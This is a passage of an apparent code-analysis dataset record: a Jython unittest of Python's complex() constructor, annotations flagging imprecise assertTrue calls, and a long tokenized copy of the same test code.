self.assertRaises(ValueError, complex, \"(1+2j)123\")\n if test_support.have_unicode:\n self.assertRaises(ValueError, complex, unicode(\"x\"))\n #FIXME: these are raising wrong errors in Jython.\n #self.assertRaises(ValueError, complex, \"1j+2\")\n #self.assertRaises(ValueError, complex, \"1e1ej\")\n #self.assertRaises(ValueError, complex, \"1e++1ej\")\n #self.assertRaises(ValueError, complex, \")1+2j(\")\n\n # the following three are accepted by Python 2.6\n #FIXME: these are raising wrong errors in Jython.\n #self.assertRaises(ValueError, complex, \"1..1j\")\n #self.assertRaises(ValueError, complex, \"1.11.1j\")\n #self.assertRaises(ValueError, complex, \"1e1.1j\")\n\n #FIXME: not working in Jython.\n #if test_support.have_unicode:\n # # check that complex accepts long unicode strings\n # self.assertEqual(type(complex(unicode(\"1\"*500))), complex)\n\n class EvilExc(Exception):\n pass\n\n class evilcomplex:\n def __complex__(self):\n raise EvilExc\n\n self.assertRaises(EvilExc, complex, evilcomplex())\n\n class float2:\n def __init__(self, value):\n self.value = value\n def __float__(self):\n return self.value\n\n self.assertAlmostEqual(complex(float2(42.)), 42)\n self.assertAlmostEqual(complex(real=float2(17.), imag=float2(23.)), 17+23j)\n self.assertRaises(TypeError, complex, float2(None))\n\n class complex0(complex):\n \"\"\"Test usage of __complex__() when inheriting from 'complex'\"\"\"\n def __complex__(self):\n return 42j\n\n class complex1(complex):\n \"\"\"Test usage of __complex__() with a __new__() method\"\"\"\n def __new__(self, value=0j):\n return complex.__new__(self, 2*value)\n def __complex__(self):\n return self\n\n class complex2(complex):\n \"\"\"Make sure that __complex__() calls fail if anything other than a\n complex is returned\"\"\"\n def __complex__(self):\n return None\n\n self.assertAlmostEqual(complex(complex0(1j)), 42j)\n self.assertAlmostEqual(complex(complex1(1j)), 2j)\n self.assertRaises(TypeError, complex, complex2(1j))", "metadata": "root.ComplexTest.test_constructor", "header": "['class', 'ComplexTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 222 } ]
[ { "span": "self.assertTrue(abs((x-y)/y) < eps)", "start_line": 37, "start_column": 8, "end_line": 37, "end_column": 43 }, { "span": "self.assertTrue(a < 2.0j)", "start_line": 128, "start_column": 8, "end_line": 128, "end_column": 33 }, { "span": "self.assertTrue(complex(c) is c)", "start_line": 304, "start_column": 8, "end_line": 304, "end_column": 40 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Comple", "x", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "assert", "Clos", "e", "Abs", "_", "(_", "self_", ",_", "x_", ",_", "y_", ",_", "eps_", "=_", "1e-", "9_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", " ", "true", " ", "iff", " ", "float", "s", " ", "x", " ", "and", " ", "y", " ", "\"", "are", " ", "close", "\\\\\"", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "put", " ", "the", " ", "one", " ", "with", " ", "large", "r", " ", "magnitude", " ", "second_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "abs_", "(_", "x_", ")_", ">_", "abs_", "(_", "y_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", ",_", "y_", "=_", "y_", ",_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "y_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "abs_", "(_", "x_", ")_", "<_", "eps_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "x_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "abs_", "(_", "y_", ")_", "<_", "eps_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "check", " ", "tha", "t", " ", "relative", " ", "difference", " ", "<", " ", "eps_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "abs_", "(_", "(_", "x_", "-_", "y_", ")_", "/_", "y_", ")_", "<_", "eps_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Comple", "x", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "no", "\\u", "implicit", "\\u", "coerce", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Pyth", "on", " ", "2.7", " ", "remove", "d", " ", "implicit", " ", "coe", "rci", "on", " ", "from", " ", "the", " ", "complex", " ", "type_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class_", "A_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "coerce", "\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Run", "time", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u", "hash\\u\\u_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "cmp", "\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "a_", "=_", "A_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "lambda_", ":_", "a_", "+_", "2.0", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "a_", "<_", "2.0", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Comple", "x", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "constructor_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class_", "OS_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "value_", ")_", ":_", "self_", "._", "value_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "complex", "\\u\\u_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "NS_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "value_", ")_", ":_", "self_", "._", "value_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "complex", "\\u\\u_", "(_", "self_", ")_", ":_", "return_", "self_", "._", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "complex_", "(_", "OS_", "(_", "1_", "+_", "10", "j_", ")_", ")_", ",_", "1_", "+_", "10", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "complex_", "(_", "NS_", "(_", "1_", "+_", "10", "j_", ")_", ")_", ",_", "1_", "+_", "10", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "complex_", ",_", "OS_", "(_", "None_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "complex_", ",_", "NS_", "(_", "None_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "\"", "1", "+", "10", "j", "\"_", ")_", ",_", "1_", "+_", "10", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "10_", ")_", ",_", "10_", "+_", "0", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "10.0_", ")_", ",_", "10_", "+_", "0", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "10_", "L_", ")_", ",_", "10_", "+_", "0", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "10_", "+_", "0", "j_", ")_", ",_", "10_", "+_", "0", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "1_", ",_", "10_", ")_", ",_", "1_", "+_", "10", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "1_", ",_", "10_", "L_", ")_", ",_", "1_", "+_", "10", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "1_", ",_", "10.0_", ")_", ",_", "1_", "+_", "10", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "1_", "L_", ",_", "10_", ")_", ",_", "1_", "+_", "10", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "1_", "L_", ",_", "10_", "L_", ")_", ",_", "1_", "+_", "10", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "1_", "L_", ",_", "10.0_", ")_", ",_", "1_", "+_", "10", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "1.0_", ",_", "10_", ")_", ",_", "1_", "+_", "10", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "1.0_", ",_", "10_", "L_", ")_", ",_", "1_", "+_", "10", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "1.0_", ",_", "10.0_", ")_", ",_", "1_", "+_", "10", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "3.14", "_", "+_", "0", "j_", ")_", ",_", "3.14", "_", "+_", "0", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "3.14", "_", ")_", ",_", "3.14", "_", "+_", "0", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "314", "_", ")_", ",_", "314", ".0_", "+_", "0", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "314", "_", "L_", ")_", ",_", "314", ".0_", "+_", "0", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "3.14", "_", "+_", "0", "j_", ",_", "0", "j_", ")_", ",_", "3.14", "_", "+_", "0", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "3.14", "_", ",_", "0.0_", ")_", ",_", "3.14", "_", "+_", "0", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "314", "_", ",_", "0_", ")_", ",_", "314", ".0_", "+_", "0", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "314", "_", "L_", ",_", "0_", "L_", ")_", ",_", "314", ".0_", "+_", "0", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "0", "j_", ",_", "3.14", "j_", ")_", ",_", "-_", "3.14", "_", "+_", "0", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "0.0_", ",_", "3.14", "j_", ")_", ",_", "-_", "3.14", "_", "+_", "0", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "0", "j_", ",_", "3.14", "_", ")_", ",_", "3.14", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "0.0_", ",_", "3.14", "_", ")_", ",_", "3.14", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "\"", "1", "\"_", ")_", ",_", "1_", "+_", "0", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "\"", "1", "j", "\"_", ")_", ",_", "1j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "\"-", "1", "\"_", ")_", ",_", "-_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "\"+", "1", "\"_", ")_", ",_", "+_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "FIX", "ME", ":", " ", "these", " ", "are", " ", "not", " ", "working", " ", "in", " ", "Jy", "tho", "n", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "self", ".", "assert", "Al", "most", "Equal", "(", "complex", "(\"", "(", "1", "+", "2j", ")\"", "),", " ", "1", "+", "2j", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "self", ".", "assert", "Al", "most", "Equal", "(", "complex", "(\"", "(", "1.3", "+", "2.2", "j", ")\"", "),", " ", "1.3", "+", "2.2", "j", ")_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "\"", "3.14", "+", "1", "J", "\"_", ")_", ",_", "3.14", "_", "+_", "1j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "FIX", "ME", ":", " ", "these", " ", "are", " ", "not", " ", "working", " ", "in", " ", "Jy", "tho", "n", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "self", ".", "assert", "Al", "most", "Equal", "(", "complex", "(\"", " ", "(", " ", "+", "3.14", "-", "6", "J", " ", ")\"", "),", " ", "3.14", "-", "6", "j", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "self", ".", "assert", "Al", "most", "Equal", "(", "complex", "(\"", " ", "(", " ", "+", "3.14", "-", "J", " ", ")\"", "),", " ", "3.14", "-1", "j", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "self", ".", "assert", "Al", "most", "Equal", "(", "complex", "(\"", " ", "(", " ", "+", "3.14", "+", "j", " ", ")\"", "),", " ", "3.14", "+", "1", "j", ")_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "\"", "J", "\"_", ")_", ",_", "1j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "FIX", "ME", ":", " ", "this", " ", "is", " ", "not", " ", "working", " ", "in", " ", "Jy", "tho", "n", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "self", ".", "assert", "Al", "most", "Equal", "(", "complex", "(\"", "(", " ", "j", " ", ")\"", "),", " ", "1", "j", ")_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "\"+", "J", "\"_", ")_", ",_", "1j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "FIX", "ME", ":", " ", "this", " ", "is", " ", "not", " ", "working", " ", "in", " ", "Jy", "tho", "n", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "self", ".", "assert", "Al", "most", "Equal", "(", "complex", "(\"", "(", " ", "-", "j", ")\"", "),", " ", "-1", "j", ")_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "'", "1e-", "500", "'_", ")_", ",_", "0.0_", "+_", "0.", "0", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "'-", "1e-", "500", "j", "'_", ")_", ",_", "0.0_", "-_", "0.", "0", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "'-", "1e-", "500", "+", "1e-", "500", "j", "'_", ")_", ",_", "-_", "0.0_", "+_", "0.", "0", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "complex", "2_", "(_", "complex_", ")_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "complex", "2_", "(_", "1_", "+_", "1j_", ")_", ")_", ",_", "1_", "+_", "1j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "real_", "=_", "17_", ",_", "imag_", "=_", "23_", ")_", ",_", "17_", "+_", "23", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "real_", "=_", "17_", "+_", "23", "j_", ")_", ",_", "17_", "+_", "23", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "real_", "=_", "17_", "+_", "23", "j_", ",_", "imag_", "=_", "23_", ")_", ",_", "17_", "+_", "4", "6", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Al", "most", "Equal_", "(_", "complex_", "(_", "real_", "=_", "1_", "+_", "2j", "_", ",_", "imag_", "=_", "3_", "+_", "4j", "_", ")_", ",_", "-_", "3_", "+_", "5", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "check", " ", "tha", "t", " ", "the", " ", "sign", " ", "of", " ", "a", " ", "zero", " ", "in", " ", "the", " ", "real", " ", "or", " ", "imagin", "ary", " ", "part_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "is", " ", "preserved", " ", "whe", "n", " ", "constructi", "ng", " ", "from", " ", "two", " ", "float", "s", ".", " ", " ", "(", "The", "se", " ", "checks_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "are", " ", "harm", "less", " ", "on", " ", "system", "s", " ", "with", "out", " ", "support", " ", "for", " ", "sign", "ed", " ", "zero", "s", ".)", "_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "split", "\\u", "zeros_", "(_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Function", " ", "tha", "t", " ", "produce", "s", " ", "different", " ", "results", " ", "for", " ", "0.", " ", "and", " ", "-0", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "atan2_", "(_", "x_", ",_", "-_", "1._", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "split", "\\u", "zeros_", "(_", "complex_", "(_", "1._", ",_", "0._", ")_", "._", "imag_", ")_", ",_", "split", "\\u", "zeros_", "(_", "0._", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "FIX", "ME", ":", " ", "this", " ", "is", " ", "not", " ", "working", " ", "in", " ", "Jy", "tho", "n", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "self", ".", "assert", "Equal", "(", "split", "\\u", "zero", "s", "(", "complex", "(", "1", ".,", " ", "-0", ".)", ".", "imag", "),", " ", "split", "\\u", "zero", "s", "(-", "0.", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "split", "\\u", "zeros_", "(_", "complex_", "(_", "0._", ",_", "1._", ")_", "._", "real_", ")_", ",_", "split", "\\u", "zeros_", "(_", "0._", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "split", "\\u", "zeros_", "(_", "complex_", "(_", "-_", "0._", ",_", "1._", ")_", "._", "real_", ")_", ",_", "split", "\\u", "zeros_", "(_", "-_", "0._", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "c_", "=_", "3.14", "_", "+_", "1j_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "complex_", "(_", "c_", ")_", "is_", "c_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "c_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "complex_", ",_", "\"", "1", "\"_", ",_", "\"", "1", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "complex_", ",_", "1_", ",_", "\"", "1", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "test\\u", "support_", "._", "have", "\\u", "unicode_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "complex_", "(_", "unicode_", "(_", "\"", " ", " ", "3.14", "+", "J", " ", " ", "\"_", ")_", ")_", ",_", "3.14", "_", "+_", "1j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "SF", " ", "bug", " ", "543", "840", ":", " ", " ", "complex", "(", "string", ")", " ", "accepts", " ", "string", "s", " ", "with", " ", "\\\\", "0_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Fix", "ed", " ", "in", " ", "2.3", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Value", "Error_", ",_", "complex_", ",_", "'", "1", "+", "1", "j", "\\\\", "0", "j", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "int_", ",_", "5_", "+_", "3", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "long_", ",_", "5_", "+_", "3", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "float_", ",_", "5_", "+_", "3", "j_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Value", "Error_", ",_", "complex_", ",_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "complex_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Value", "Error_", ",_", "complex_", ",_", "\"\\\\", "0", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Value", "Error_", ",_", "complex_", ",_", "\"", "3", "\\\\", "09", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "complex_", ",_", "\"", "1", "\"_", ",_", "\"", "2", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "complex_", ",_", "\"", "1", "\"_", ",_", "42_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "complex_", ",_", "1_", ",_", "\"", "2", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Value", "Error_", ",_", "complex_", ",_", "\"", "1", "+\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Value", "Error_", ",_", "complex_", ",_", "\"", "1", "+", "1", "j", "+", "1", "j", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Value", "Error_", ",_", "complex_", ",_", "\"--\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Value", "Error_", ",_", "complex_", ",_", "\"(", "1", "+", "2j", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Value", "Error_", ",_", "complex_", ",_", "\"", "1", "+", "2j", ")\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Value", "Error_", ",_", "complex_", ",_", "\"", "1", "+(", "2j", ")\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Value", "Error_", ",_", "complex_", ",_", "\"(", "1", "+", "2j", ")", "123", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "test\\u", "support_", "._", "have", "\\u", "unicode_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Raises_", "(_", "Value", "Error_", ",_", "complex_", ",_", "unicode_", "(_", "\"", "x", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "FIX", "ME", ":", " ", "these", " ", "are", " ", "rais", "ing", " ", "wrong", " ", "error", "s", " ", "in", " ", "Jy", "tho", "n", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "self", ".", "assert", "Rai", "ses", "(", "Value", "Error", ",", " ", "complex", ",", " ", "\"", "1", "j", "+", "2", "\")", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "self", ".", "assert", "Rai", "ses", "(", "Value", "Error", ",", " ", "complex", ",", " ", "\"", "1e1", "ej", "\")", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "self", ".", "assert", "Rai", "ses", "(", "Value", "Error", ",", " ", "complex", ",", " ", "\"", "1e", "++", "1e", "j", "\")", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "self", ".", "assert", "Rai", "ses", "(", "Value", "Error", ",", " ", "complex", ",", " ", "\")", "1", "+", "2j", "(\"", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "follow", "ing", " ", "three", " ", "are", " ", "accept", "ed", " ", "by", " ", "Pyth", "on", " ", "2.6", "_", 